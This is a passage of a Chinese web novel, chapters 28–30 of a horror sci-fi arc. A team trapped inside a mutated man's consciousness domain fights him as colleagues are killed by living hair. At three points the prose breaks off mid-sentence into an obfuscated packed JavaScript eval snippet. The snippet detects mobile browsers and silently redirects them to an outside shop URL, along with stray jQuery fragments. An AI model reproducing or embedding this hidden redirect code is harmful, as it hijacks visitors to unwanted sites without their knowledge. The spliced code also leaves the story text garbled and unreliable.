“哎今天心情好,我请你!”同事一把搂住钟晴肩膀,半扯着钟晴大踏步走进叉烧店,对老板挥手:“老板,两份叉烧饭!” 钟晴被同事带着坐下,头一次被请让她有点局促不安,她提出想要AA,同事却给她好大一个白眼。 她只好坐下。 “阿晴啊,你过来这几个月,每天不是上工就是睡觉,我看你休假也都在加班,不要太拼把身体拼坏咯。”同事端了两杯水,递给钟晴,钟晴道谢,双手握着杯子汲取着热度。 “我还好啦。”钟晴摇头,嘴角上扬试图摆出微笑。 “还好个屁啦,笑比哭还难看喔,喏,喝点水。”同事点点桌子,接着说:“听说舞厅那边来个新靓仔哦,姐妹们都好喜欢他的,搞得我也想见见。” 钟晴没什么兴趣,闷头吃饭,从中午后,脑袋里时不时出现一些奇怪画面,有她穿奇装异服戴头盔的,还有她一栋高高的大楼。 大楼偶尔在她梦中出现,她这么努力的工作,就是为了与梦中的大楼相会。 她觉得登上楼顶,就是她所希望的未来。 叉烧饭的香味勾回她的心神,她夹起一块叉烧正准备塞入口中时—— 眼前香味四溢的叉烧突然崩解,原本的形状瓦解,先是变成一团灰色的马赛克,然后变成了一块闪烁着金属色光泽的: 长着尖齿的齿轮。 钟晴松开筷子,齿轮落下,尖齿嵌进木质的长桌,她抬头,对面浓妆艳抹的同事不再是【同事】,脑袋跟她碗里转动着的尖齿齿轮一模一样。 她倏而转身看向外面—— 嘈杂声如常,一个穿着机车服的女人走过,女人走进飘黄的浓雾中,身影难寻,钟晴下意识地伸手, “时序!” 对方脚步毫无停顿,渐渐远去。 眨眼的刹那,对方的身影如同一根长针刺进她混沌的意识,她死死盯着时序远去的残影,心中仿佛有只怪兽在怒嚎。 无数种感情与思绪喷薄而出,化为她眼角的泪水,化为她咬紧的牙齿,钟晴突然就明白了所有: 她是齿轮,人是齿轮,齿轮是人。 她要被意识阈同化了。 28. 迷宫围城(十二) I 钟晴感觉到自己正逐渐沉入深不见底的浓雾中,她吐出一口气,制造出一片雾,她吸进一口气,雾气进入她的五脏六腑。 “咳咳……”她咳嗽一声,不禁想从她进来到现在,她吃进去了多少齿轮。 尖锐的齿磋磨着她的血肉,一种又痒又痛的触感从肺部升腾,让她忍不住又咳嗽一声。 浓雾恍若一层玻璃,将她和时序隔绝到两个不同的世界。 一只手按住她的肩膀,制止了她想要起身追逐的念想。 “你要去哪?不是说好一起去舞厅的吗?!”尖锐啸声裹挟着刺耳的白噪音。 钟晴慢慢回头,耳边响起拉响电锯的声音,同事的手化为疯狂转动的电锯,霎时间将她一分为二。 她像一片薄薄的纸片,毫无反抗之力,就这么—— “没什么。”钟晴用袖子擦眼角,躲开同事伸来想拍她肩膀的手,她站起来走到门口,把两份叉烧饭的钱付了。 同事:“诶你怎么这样,不是说好我——” “没事,我提出来的肯定我付咯,走吧~”钟晴笑嘻嘻地搂住同事胳膊,“你说的舞厅在哪,我还没去过呢。” 同事有点无措,指指前方楼上其中一个闪着五颜六色的窗户:“就是那。” 窗户下的拐角的紫色灯牌写着荷东舞厅,钟晴顿了顿,她居然没看到。 同事怀疑地看钟晴:“你怎么突然这么开心。” “吃了碗好吃的叉烧饭,自然就开心了,快走吧!”钟晴随便找个理由糊弄过去,要她被这狗屁意识阈同化,她死也不要。 还好她刚进来多个心眼把半自律机器人用迷彩伪装起来,让它待机了,刚才时序走过去时,意识阈出现短暂的逻辑中断与崩解现象,连带她也找回部分自我意识。 她可太能确定那个一闪而过的身影是时序了。 斜眼瞟身边的【同事】,她打算先跟着人去舞厅,然后趁乱离开,独自去启动机器人。 这样功劳就是她的了。 想到这,她嘴角的假笑更假了:“哈哈,你说的没错呀,做人最重要的就是开心!” 同事:??? “你说得对……”同事附和着,眼神怪异。 “走走走,看你说的靓仔有多靓!”变成钟晴拖着人走,两人拐进楼梯口,顺着简易的铁质螺旋楼梯上楼,二楼的两间被改造成舞厅,隔音不怎么样,走到近前就听到轰鸣的舞曲。 节奏感极强的鼓点,让钟晴不由跟着晃了晃身体,同事见她这样笑道:“你还真有够迫不及待。” 钟晴不晃了,露出个恰到好处的局促,同事嘴角笑意莫名,两个各怀鬼胎的人就着夜晚五彩的灯球和音乐走进舞厅。 舞厅大门是两扇相对而开的玻璃门,玻璃门上用彩色胶带贴着歪扭的【舞厅】两字,钟晴试着推门,没推开。 “要拉的啦!”同事熟练把门拉开。 舞厅里一进门都是人,到处扭动的人,烟味酒味混合着刺鼻香水味和体味,烟雾缭绕的,钟晴熏得眼睛发疼,不由用手轻扇鼻下。 同事跟着音乐纵情扭动,钟晴眼神四处睃巡,有几个她很眼熟,像是一起上工的同事,她捂住下半张脸,象征性地跟着音乐扭,却见人潮渐渐往前方汇集。 “哈,今天有好节目,我们也挤过去看看咯。”同事兴致勃勃,拉着钟晴往前挤,钟晴眼神闪烁,从进来后同事有意无意的,总是在她视线可及范围内。 对方在她视线内,她大概也在对方视线内。 她稍微往后挣了挣。 对方抓着她手腕的手紧了紧。 果然…… 这位“好心”同事,带她来舞厅大概有什么其他的目的,这里乌烟瘴气,满怀欲望的男男女女随着音乐节奏律动身体,她们释放的不是压力,是欲望。 这在十三区习以为常,不如说十三区的人更为放纵。 但这种隐蔽的欲望是她没接触过的,她有点新鲜,对主动贴上来的男女,她带着笑,若即若离。 同事拉着钟晴,两人好不容易挤出来,同事回头一看,钟晴脸上居然还有两个口红印。 ??? 钟晴大拇指随意蹭了下,口红被她蹭掉半截,她笑笑:“你不是约了靓仔?在哪。” “他还没到,我们先看热闹。”同事指着舞台:“哇塞,今天赚到啊!” 钟晴看过去,舞台最中间一把太师椅,椅子上绑着个肌肉男,男人头被罩着,浑身上下除了头套就一条内裤,左臂的义体手臂在灯光下散发着冷光。 台下男男女女的惊叫声此起彼伏。 钟晴:…… 好家伙,卓光远居然…… 真想用终端拍下来,以后卓光远再骚扰她,直接上传研究中心,让所有人都看看平日欺男霸女的人,在意识阈里也只有被扒光衣服展示的份。 风水轮流转啊!钟情摸手腕,惋惜,终端不在。 “哇!身材这么好,啧啧,不摸一下都可惜哦!”同事眼睛发亮,钟晴心里冷笑着想:如果把头套拿开估计就不这么想了。 前排人潮拥挤,钟晴被挤来挤去,无意间瞅到舞台角落坐着个男人。 满头泡面小卷,戴墨镜穿皮衣,正双手环胸,嘴角一抹微笑。 钟晴不小心多看了两眼,她的这两眼,引起对方的注意,男人慢慢站起来,缓缓从暗处走出,拥挤的人群渐渐停息,自动让出道路,他很顺利地到钟晴面前。 同事的手突然松开了。 钟晴低头敛眉,男人离她越近,她的窒息感就越强。 “好正的妹。”男人开口,咬字奇怪。 钟晴抬起头,男人的下半张脸她总觉得在哪见过,可是想不起来。 “大家都叫我辉哥,你也这么叫就好。” “……”钟晴眉毛挑了下,口音奇怪,咬字的重音也不对,他不是城寨的人。 “来的人都是我的兄弟姐妹啦,大家一起开心一起玩,”男人说着,递给钟晴一罐苏打水,“特别好喝,尝尝咯。” 舞曲继续播放着。 钟晴挂着甜笑:“谢谢辉哥,我不渴啦。” 如此说着,她还是接过。 辉哥撩了下皮衣,“我还有拉风的机车,带你去兜风啊,城寨我最熟的啦,哪家烧鹅最好吃我都知道。” 钟晴手虚虚拿着易拉罐,辉哥见她没有拒绝,直接上手勾住钟晴的腰。 钟晴眼尾抽动,微笑有点难以维系。 “哈哈哈,别怕啦!”辉哥笑笑,摘下墨镜。 钟晴这下笑不出来,这张脸,不就是她们本次的任务目标,早川结太吗! 她还没想好要怎么在不招惹到早川结太的情况下拒绝,变故发生,门上的玻璃被打碎,接着滚进来两个灰头土脸的男人。 两个男人迅速爬起来,对着舞厅里的人大喊: “快跑啊!这房子有鬼!马上就要追来了!!!” 不但没人动不说,有几个还骂男人神经病。 丸子头男人拨开人群死命逃窜,另一个使劲追他,两个人面色惊恐,尤其是丸子头男人: “我去,你离我远点!你别过来啊啊啊啊啊!” 旁边人调笑,“喂,你们不会有什么感情纠纷吧?” 难道他们在表演“他逃,他追,他插翅难飞”? 丸子头男人破口大骂:“我呸!你才跟他有感情纠纷呢,拜托,你瞎呀!没看到他背后有个长头发女鬼吗!” 这话一出,周围几个人后背一阵发凉,定睛看了看,男人背后什么都没有。 一时间灯球闪烁的采光也莫名变得冷峻。 “……什么啊?怎么有鸭子叫?”早川结太疑惑,钟晴想笑,这么标致的鸭子叫,估计是安燃。 “这么热闹,是什么新节目吗?”她不着痕迹地从辉哥的怀抱中出来,自然地走过去,同事措手不及,她消失在两人视线中。 辉哥扬起下巴,摸出根烟点燃, “去看看。” 同事点点头,跟上去。 人群边缘传来阵阵惊叫,黑塞更惊恐了,安燃头发疯长,转眼盖住脸,黑色头发跟活的一样,劈头盖脸冲黑塞过来,黑塞闪身躲过一波,头发打了个转,变成一张网,张牙舞爪。 过程中几个离得近的人不幸沾到发丝,头发瞬间将人卷成一团,拖向安燃身后,安燃双眼翻白,一缕黑色发丝牢牢缠绕着他的脖颈,整个颈部连同脸颊都成了紫红色。 他的头不自然的向后仰,身体却拼命向前,往黑塞的方向去。 “辉哥,有人砸场子。”马仔一号侧头耳语。 辉哥瞥了眼舞台上的赤身男人,扔掉手中的烟,用皮鞋的尖头踩灭,几个小弟跟上。 钟晴一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972913|145465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 股脑冲到前面,看到的便是安燃红到发紫的脸,她下意识想要掏出武器,下一秒她突然想起来自己的防护服和终端都不见了。 眼见黑色的头发越长越长,安燃身上缠绕着一层又一层的发丝,把人裹得像【蛹】一样,发丝又逐渐演变成一袭藏蓝色的宽大袍子。 被扯到极限的脖颈轻轻响了一声,软趴趴地歪到一边,无数头发支撑起安燃的头,拨开嘴唇,掀开眼皮,从眼睛嘴巴和鼻孔里钻入安燃体内。 他的脸被包覆,鼻孔中涌动的发丝像液体一般。 钟晴看呆了,她们小队除了时序和卓光远,没有人真正意义上的接触过意识阈,本以为只要将机器人放到指定地点她或许还能想办法撑到救援,可安燃的模样让她产生了些微的恐惧。 没有人想变成身体里面全是齿轮,或者被头发吞噬的。 她勉强用最后一点理智看向丸子头男人所在的方向,丸子头男人虽然叽叽喳喳的,可发丝却始终跟他保持距离,他身边像是有隔层似的,发丝始终无法近身。 怎么办?她要怎么办?如果现在逃跑,会不会引起早川结太的注意?可是不跑…… 她一定会被安燃身上的脏东西污染。 钟晴感觉无论她怎么决定,都会变成死路一条。 她拼命压下想要尖叫着逃跑的想法,尽可能的回忆在研究中心的所有经历,试图从记忆中找到解决的办法。 她必须要冷静,要稳定,过激的情绪会引起异化粒子的活跃,她会被污染。 不行……钟晴想到这,激烈的情绪激荡总算好了些,生死存亡的重压之下,她咬紧牙关站着不动,发丝的【觅食】是有一定规律的,舞厅的门此刻已经被头发编织成的网围住,试图冲过去的人都被卷成一团了,有的人带的火机和火柴,可头发像是某种可燃点高的纤维,火机的温度根本达不到。 也不是没人试过刀劈斧砍,可结局都一样。 不怕烧,不怕砍,真有这种材质的好东西的话,应该带回研究中心好好研究,省得总让她们带那些负重装备了。 钟晴意识到自己在想什么后不由想笑,一不留神命都要没了,她居然还有闲心想把这玩意活捉带回去。 她慢慢移动着,发丝对生物的判断大概来源于某种感知,缓慢地移动似乎不会惊动它。 辉哥的小弟们不出意外的,除了马仔一号,全军覆没。 钟晴躲在蜷缩起来的人群中,侧头偷瞄不远处的辉哥,【辉哥】跟黑塞的情况差不多,发丝没有攻击他。 “辉哥……这这这……”马仔一号吓得一句完整话都说不出来。 辉哥仰面,吐出口浓烟:“没事,” “刚才要跟我兜风的正妹去哪里咯?走啊!”辉哥伸出手指对着钟晴的方向勾了勾,丝毫不在意眼前把客人吃了一大半的怪物。 钟晴摆出一副恐惧表情,从人群中站起来尖叫着跑向辉哥。 辉哥很受用,头发没有攻击她。 时间被拉长,钟晴深吸一口气,打算趁头发没有攻击她的时候破窗逃走,二楼差不多六七米高,跳下去她勉强可以承受。 只要先离开这里…… 钟晴使劲咬舌尖,疼痛让她昏沉的意识迸发,她加快速度从辉哥身边逃离,身后霎时间传来窸窸窣窣的声音,头发有在空中向她飞来的,也有在地上飞速爬行向她袭来的。 她不敢停下,为了逃命她不停将身边的人推到头发堆里,惨叫声,血液喷洒到地面声音,还有莫名的咀嚼声络绎不绝,不到十米的距离她觉得比登天还难。 连为人惋惜的时间都没有。 最后一个被她推进去的是带她来的同事。 她顾不上同事瞬息万变最后定格成仇恨的眼神,她要逃跑,她可以牺牲所有人,反正这里面的都不是人。 巨大的窗户近在眼前,她曲起手臂,准备跃出—— 一根头发缠上她的脚踝,巨大的力气将她极速后拽,她的手指刚碰到玻璃,视线中近在咫尺的墙壁瞬间远去,铺天盖地的黑缠上来,带着无数的腥臭要将她嚼碎吞噬。 下一秒,腥臭消失了,脚踝的剧痛消失,连同黑色也消失了。 清脆的打碎玻璃的声音像是充满希望的钟声,透明的玻璃碴落到她身上,钟晴来不及消化瞬息万变的情况,脑中唯有一个熟悉的人影和一个声音: 她得救了。 29. 迷宫围城(十三) “原来你们都在这,省得我一个一个找了。”时序踩着作战靴破窗而入,她手上一抹紫色利刃,所到之处发丝皆断,她伸手拽住即将昏迷的钟晴,一把将她从一望无际的黑中拉出,顺带还把紧紧覆在钟晴脚踝上的发丝砍掉。 做完这一切,她收起紫色利刃,斧头别到腰间,把坐到地上的钟晴扶起来,半蹲着帮她摘掉身上的玻璃碴,以防她受伤。 舞厅一片狼藉,地上的红色液体分不清是酒还是血,时序踩在上面溅起一朵朵血色泡沫。 难以破坏的头发在她这里不堪一击,她又砍掉一片企图突脸的头发,一步一步,散步似的走到安燃身边。 “他怎么搞成这样的?”她问黑塞。 黑塞抱着头窝在角落,看起来耗费太多体力陷入短暂昏迷。 舞厅几乎空了,只有她们几个,因此环视四周时,自然而然地看到舞台中间的卓光远。 时序冷静的没有笑出声,而是用终端咔咔拍了几张照片。 接着,她看向正要摘掉墨镜的辉哥—— 身后的马仔一号。 这不就是带头追杀她的那位杂毛吗! 给她的麻花辫报仇的时候到了!!! 说是这么说。 时序还是分得清主次的,报仇等最后再说,现在首先要搞清楚状况,在她砍瓜切菜般的攻势下,头发很快孱弱不堪,后面扑过来的头发几乎刚挨到她就消失,她看了眼辉哥,一边绕到安燃身后一边说:“早川结太,这是准备当带头大哥了?” 辉哥笑笑:“你说的谁啊?不认识。” 时序跟着笑:“那这个,认识吗?” 她从身后的简易背包中拿出一柄淡紫色的晶体状刀刃。 “本来是一整条,用起来碍事,我就把碍事的部分切掉了。” “不得不说,真好用啊。” 辉哥摘下墨镜,眼睛发红。 刀柄在时序手中换着花样的转,每转一次,辉哥的脸色就阴沉一分,时序转够了,握住刀柄抬手刺向安燃的后背—— 发丝变成薄薄的一层人皮,时序将人皮剥离随手扔到地下,取出黏在安燃背后的齿轮,齿轮非常小,小到跟米粒差不多: “早川结太,这就是你眼中的世界,你想过的生活。” “真小。”时序语带讥讽,弹走手中的小齿轮。 说完,她轻踢地上盘腿头颅耷拉着的人:“别装了,赶紧起来完成任务,我还不想第一天上班就加班。” 地上的人装死中。 时序笑笑,继而捡起地上的人形面皮,拿在手中仔细打量着。 异化螳螂那次她就想这么做了,可惜情况紧急没有机会,她需要更多信息,系统开放了她能使用【范星火】的异化能力,却无法阅读对方的记忆,无论哪个任务都没进展,她心情实在算不上好。 她先是捏了捏,防护服的手套可以模拟皮肤的触觉,面皮冰冰凉,拿在手里沉甸甸,跟人类的皮肤触感完全不同。 就是一张普通的胶皮面具。 那……刚才疯长的头发是怎么回事? 时序眼神莫测,舞厅的另一边是早川结太,她和早川结太相对而站,灯球闪烁着,两人的脸闪烁着不同颜色,时序再次扔掉面具,拿出曾经属于早川结太的紫色刀刃。 夏夜的燥热褪去,温度开始降低。 铁锈味弥漫在整个空间中,除了卓光远还在舞台上无人问津,其他几个人都不约而同躲到时序身后,连同黑塞在内。 “跟大仔好像……”黑塞嘀嘀咕咕的。 时序没空搭理他,她望着早川结太,灯球停止了闪烁,舞厅内原本暖黄色的灯光逐渐演变成黑红,所有的设施迅速老化生锈,地上的血液和人类的身体组织则变成一串串土黄色的齿轮。 而这里的主人,早川结太,他也开始了变化,【辉哥】仿佛达到了可燃点,外表渐渐液化,黑色液体顺流而下迅速风干,他在形变。 形变的脱离人类范畴。 早川结太终于露出他的本来面目,或者说: 曾经名为早川结太的人类,终于退变为异化物。 时序就这么凝望着早川结太,她安静地看着他变形的全部过程,甚至连眉毛都舒展着,早川结太的眉心中间是一柄圆锯,圆锯不停转动着,他的头部每一秒都在重复破坏——重构的过程,每构建一次,他的头部就越发的尖。 他的身体则一点人形都看不出来,通体紫色,隐隐泛着透光,想来应该跟从他身上剥离的手臂,构成是一样的。 “在这里生活不好吗?为什么非要打破美梦?”早川结太的第一句话,他同样静静站着,时序平和的眉头皱起,眼前的人,是早川结太? 他的声音平静无波,乍听是一个人在讲话,可声音里又似乎包含千人万人。 “哈,”时序不以为然:“这里的人整天除了上班就是睡觉,我看这不是美梦,这是噩梦。” 她走出仓库正是昼夜交替的时间,她看到天不亮出来翻垃圾桶的人,看到天不亮急匆匆上工的人,还看到刚下班回家的人,虽然她不认识这些人,但她还是发现这些人都有一个共同点: 麻木。 希望被耗尽,又无法劝说自己回头,生活的胁迫,看似近在咫尺的梦想。 通通都只是惊鸿一瞥的海市蜃楼。 “如果这样的梦想也叫梦想……”时序紧紧捏着刀:“那我说什么都要破坏。” “你单方面否认了这里的大多数人。”早川结太说。 时序反问:“那你呢?我先冒昧问一句,你还是早川结太吗?听说你吞噬了这座城寨孕育出的异化物,你到底是早川结太,还是异化物?” 【早川结太】低头,他看到自己的身体不再是人类,看到自己的双手变成锋利的刀刃,他头顶的圆锯突然加大马力,血肉横飞下,他嘴角流出血液: “我当然是——” 他挥下变成利刃的手臂。 “你谁也不是——”时序双手并用,一手短柄斧一手紫色刀刃,堪堪挡下攻击,对方不打算给她喘息的空间,又是一刀,时序躲闪不及,被他拍中,向后倒去。 “呼……你们……一点团队精神都没有,就这么看组长挨打?”时序爬起来。 早川结太提醒不断膨胀,她们所在的舞厅变回熟悉的废墟城寨,只是所有的一切都被罩上一层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984542|145465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朦胧的黑红,时序反应飞快,眼见武器没用,她飞速掏出镭射枪射击,乱枪之下,击中早川结太的左眼,他的再生能力被头中间的圆锯消去太多,几分钟过去,左眼竟都没有再生。 也就是说他有了视线死角。 时序顾不上断掉的肋骨,想要绕到异化物的视野盲区再次进行射击,只是这次她没这么好运,异化物两三米长的尾巴扫中她,她飞出去五六米,砸到墙上,墙面砸出个大洞,时序一时觉得浑身血气翻腾。 她咽下喉间的甜腥,捂着侧肋,这一下,疼得她有点喘不上气。 刚才她的一声喊,钟晴她们回过神来了,发现回到熟悉的环境后,迅速掏出武器进行火力支援。 原本已经是一片废墟的城寨,更是千疮百孔,她们胡乱攻击的行为好似激怒了异化物,它嚎叫着冲向几个人,时序暂时可以喘口气。 但她没有时间,时序将头盔的玻璃缓缓升起,露出一双细长双眼,她的左眼眼珠炯炯有神,她揭开右眼眼罩,系统的电子音随之响起: 【权限开启,能力:真性幻觉,启动,倒计时:1333秒。】 【宿主是否使用钥匙。】 “否,”时序吐出口气,借由放下的玻璃,她能够呼吸到城寨的空气。 说实话,没有她想象中的难闻,其实就跟普通的废墟没什么区别,她感受着跟意识阈里截然不同的风,不远处的天井静静伫立,笔直的钢筋伸向天际,这是存在于现实中的景色。 她摇摇晃晃站起身,勾住眼罩的带子拉下眼罩,合上头盔的玻璃,时间只有20分钟,她拿出短柄斧,捏紧斧柄,走向异化物。 异化物由于身处幻觉中一动不动,她走过去,每个人都受了点伤,她瞥了眼异化物,开口:“异化物现在不动了,我们要抓紧时间启动半自律机器人,坐标点就设置在那边的操场,尽快削弱它的意识阈。” 钟晴左右看看:“意识阈不是已经破解了吗?” 时序摇头,“这是暂时的,你看,” 她指着异化物周身开始蔓延的红色力场:“要不了多久,这里又会变成意识阈,意识阈里的时间流速非常快,你们在里面度过的几个月,相当于现实世界的几小时。” 说着她表情凝重:“而且根据我的观察,意识阈里的时间流速,是会反应在身体上的……”她顿了顿,不知道该怎么解释。 钟晴很快明白了:“我立刻去启动机器人。”她说完,立刻查看坐标,确认地点后立刻召唤巡逻机器人带着她离开。 时序看向安静的反常的安燃。 等钟晴走远,她才开口说话:“安燃,一会跟我负责对付异化物,黑塞,你还能撑住吗?” “能行,”黑塞重新将凌乱的头发扎好,“我还有杀手锏,不怕。” 时序点点头:“那等下你就找机会带钟晴安燃她们逃出去,我留下断后。” 安燃终于有了反应:“啥?!我怎么能把你一个人留在这!咱们现在也是过命的交情了!” “呸!”时序忍不住嫌弃的情绪:“你走你的,我相信咱们调查二科的林科长,相信她绝对会救我于危难之间。” 安燃闭上了嘴。 30. 迷宫围城(十四) 过 时序突然提到林科长,不禁让阈外的梵空抿唇轻轻笑出声,她翘着腿坐在车里,座椅被她调整成舒适的角度,而林蓦和林斐,正挤在防爆车的副驾看梵空的投屏。 时序掀开眼罩的一幕自然被她们一览无余。 梵空看着阈内发生的一切,她右手握笔,飞速在纸质笔记本上写着什么。 林斐不仅要忍受对两人来说过于狭窄的座椅,还要忍着后排时不时高声念念有词的梵空,林蓦偶尔还会不耐地蹬两脚,林斐的注意力全在时序身上。 “啧,林科长,你看你的下属多信任你,相信你一定会救她呢!可你却无情地切断了通讯……”梵空声情并茂感情充沛。 “闭嘴。”林斐低声回应,她手指不住敲击车窗扶手,频率明显越来越快。 林蓦看了眼林斐,打开车门下车,手臂倚靠着身后的刀柄。 “站住。”林斐冷冷道。 林蓦举起一只手做投降状,“我的好科长,你说怎么办?” 林斐沉默了一会:“等等,还不是时候。” “那什么时候用得上我?”林蓦手揣兜里,梵空念的她头都要炸了,她宁可进去受精神污染也不想听梵空念经。 都是精神污染,意识阈里她听不下去好歹还能一刀毙命,而到梵空这,她只有忍的份。 林斐没吭声,只是跟着下了车,她抬头仰望着这座废弃城寨,意识阈被时序用未知手段强行中止,但外围实际上还在扩大…… 她风衣兜里的手捏成拳。 …… 城寨内。 异化物一动不动,脑袋中间的圆锯同样停止了转动。 但它的再生能力却正常运行,被打中的左眼缓慢修复着。 时序吐出口气,所谓福祸相倚,大概就是这样,同伴们有了喘息的时间,可她没有。 血液不断从她的泪腺中涌出,她没有异化粒子,借来的能力只能消耗她的生命力。 之前脑中出现的幻觉卷土重来,她的脑袋里有无数个时序,每个时序都在做不一样的事,她听得到每个时序的脑内想法,每个时序的每一句话都像一根尖细的针,刺激着她的大脑。 仅仅过去五分钟而已,时序觉得自己快要崩溃,亲手掐死周时诗雨的画面不断的在她脑内循环播放,她已经记不清自己看了多少遍。 “你就……就没有什么办法……”时序听不到自己的声音,眼前一片模糊,她不确定刚才她有没有把这句话说出来。 手里的斧头顺着直觉砍下去,视觉近乎失灵,感觉也跟不上,她砍了一斧头,感觉自己砍到了棉花上,都不知道自己往哪砍,中没中。 【宿主可以使用钥匙进行时间回溯或静止。】 时序顶着脑中千言万语,她扔下斧头使劲捶自己肚子一拳,换来了短暂的安静,她捡起斧头飞速从废墟中一跃而下,消失在了天井的垃圾堆中。 整个过程安燃从头看到尾,时序跃出的瞬间他停止了身体动作,淡然而立。 时序看不到那些,她想将自身的时间回溯至健康的时候,可系统告知她,如果这样做,以她现在的力量,回溯只能维持几分钟。 “那你先告诉我,我脑子里那些是什么。”时序选择将时间固定在此时此刻。 总比大脑失控要好点。 【宿主即将觉醒技能:唯一。】 系统突然播报,时序摸不着头脑,她就是她,难道还会有很多个她吗。 不过眼下这不是最重要的,重要的还是如何破解意识阈以及打败异化物。 她从垃圾堆里冒出头,站在废墟之上,她不由抬头仰望天井。 她使用了杀手锏,但一切显然才正要开始。 她该怎么办? 时序没有头绪。 天井渐渐被黑红色覆盖,空气中充满呛人的铁锈味,脚底传来黏腻的触感,她低头,鲜红色的腥臭液体浸染靴底,直直挺立的笔直钢筋由1条变为3条,她攀上由垃圾构筑的废墟。 她能听到平台上传来的粗重的呼吸声,一阵风吹过,时序拿出腰间别着的短柄斧,她觉得从进来后,就像在做梦。 她还在梦中吗? 自身的时间静止后,她恍惚想起脑海中的那无数个时序。 “时序!时序!!快跑啊!它冲你过来了!!”远处有人撕心裂肺地喊她的名字,时序抬起头,一只头上长着圆锯的怪物长着嘴向她扑来。 “我是早川结太啊!” 怪物嚎叫着。 “我不是你们中的任何一个人!我就是我!我吞噬了你们!” “你们应该听我的!” 怪物的双臂插着利刃和齿轮,尖锐的齿轮发出电锯的鸣响,它一次次皮开肉绽,又一次次完好如初。 时序就这么站着,此刻她好似灵魂出窍,冷眼旁观着癫狂的异化物。 它的身体不断变形,它同样在与身体里无数个自己相抗争。 它在废墟里打滚,掀起的烟尘袅袅上升,时序侧过头,心绪平静下来,她看了眼上升的尘烟,开口讲话: “没想到你服用的药物,竟然是你得以保存神智的原因……早川结太,我翻了你的履历和你的检查报告,活化剂让你的脑内神经活化,但也让你吸收了大量的异化粒子,趁你还清醒,要不先把你的上家供出来。” 时序的话此刻竟成了异化物得以锚定自身的锚点,她的话让异化物分崩离析的□□渐渐恢复,平台上的黑塞和安燃听不到时序在说什么,他们只能看到时序的嘴巴一开一合后,异化物居然渐渐恢复了。 黑塞一屁股坐下,身上满是硝烟的味道,安燃比他好一点,但防护服也是千疮百孔了。 “我的姐姐啊,她跟异化物说什么了?怎么说完异化物反而还好了呢?!”安燃急了。 黑塞还算镇定:“也可能是回光返照。” 安燃:“哎,我真搞不懂,紧要关头不赶紧趁它病要它命,有什么可聊的,对方都不是人类了。” 时序吸引了异化物的注意力,两人总算能喘口气。 黑塞搭腔:“正常,意识阈是异化物深层意识的具现化,越了解异化物,破解意识阈的概率越大,趁它清醒的时候套话也是一种策略。” 说完他抬头,天井上方的露天空间,光亮越来越少,意识阈的立场正在慢慢将天井吞噬。 “哎,要是大仔或老板……我还是太弱了,比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020094|145465||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不上大仔一根毛。”黑塞看着天井怅然若失,他还有一句话憋在心里: 只有弱者才会想策略,强者只需要拿出一把菜刀,就能秒杀全场。 他抚摸着步摇尾端的装饰,清脆的玉器碰撞声缓解了他内心的挫败,他转而把注意力放到时序身上,他之前说时序和大仔很像,他对时序和大仔相像似的地方很有兴趣。 等从这里出去,他觉得有必要告诉大仔一声。 不过—— 他嘴角泛起苦笑,怎么从这里出去,是他目前需要思考的。 废墟中。 时序和异化物相对而站,回复理智的异化物逐渐化为人形,几秒钟的时间,他变回了穿着监测中心制服的早川结太。 瘦削凹陷的双颊与浓重的黑眼圈也被完美复现。 时序手一刻也没离开过腰间的斧柄,尽管她知道如果对方此刻袭击她,一柄斧头没有任何作用。 “你想知道什么。”早川结太突然张口。 时序抬头看了看三根钢筋,她没有立刻接话,而是解开脖颈上头盔的锁扣,摘下了头盔。 她把头盔扔到地上,又将眼罩的绳子打了个死结,早川结太表情木然,时序打好结后,似笑非笑开口:“你会告诉我吗?” 早川结太:“不会。” 这是时序早就预料到的答案,她不意外,左眼眼珠转了转,她换了个话题:“你愿意跟我心平气和的站在这交谈,是想进行利益交换吧,我想想……” 她一边想一边说:“你还想回归作为人类的生活?还是想回到监测中心?你觉得自己变成了异化物,虽然是研究中心肃清的对象,但你还有理智,如果答应作为研究对象,说不定还有能回归人类生活的可能性。” 早川结太脸颊抽动,时序知道自己想对了。 这其实很好猜,尤其是早川结太这样的人。 时序想到这,嘴角的笑意变冷,她话锋一转,“不是我说啊,你这个想法真的挺天真的,你见过实验室里的实验动物吗?你见过哪个实验动物能活着出来的?况且你还是异化物,你身体里的异化粒子有高传染性,光这一点,就不可能放你出去,无论你再像人类,你在社会中都不可能有人类的身份。” 她放低声音,如同恶魔低语:“这都是你自己的选择不是吗,在你吞下第一颗活化剂时你就应该做好接受这个结局的准备啊。” 早川结太浑身发抖,他整齐的制服上渗出血迹,他的胸口鼓起,圆锯又有从他体内破体而出的趋势,时序见状硬是火上浇油: 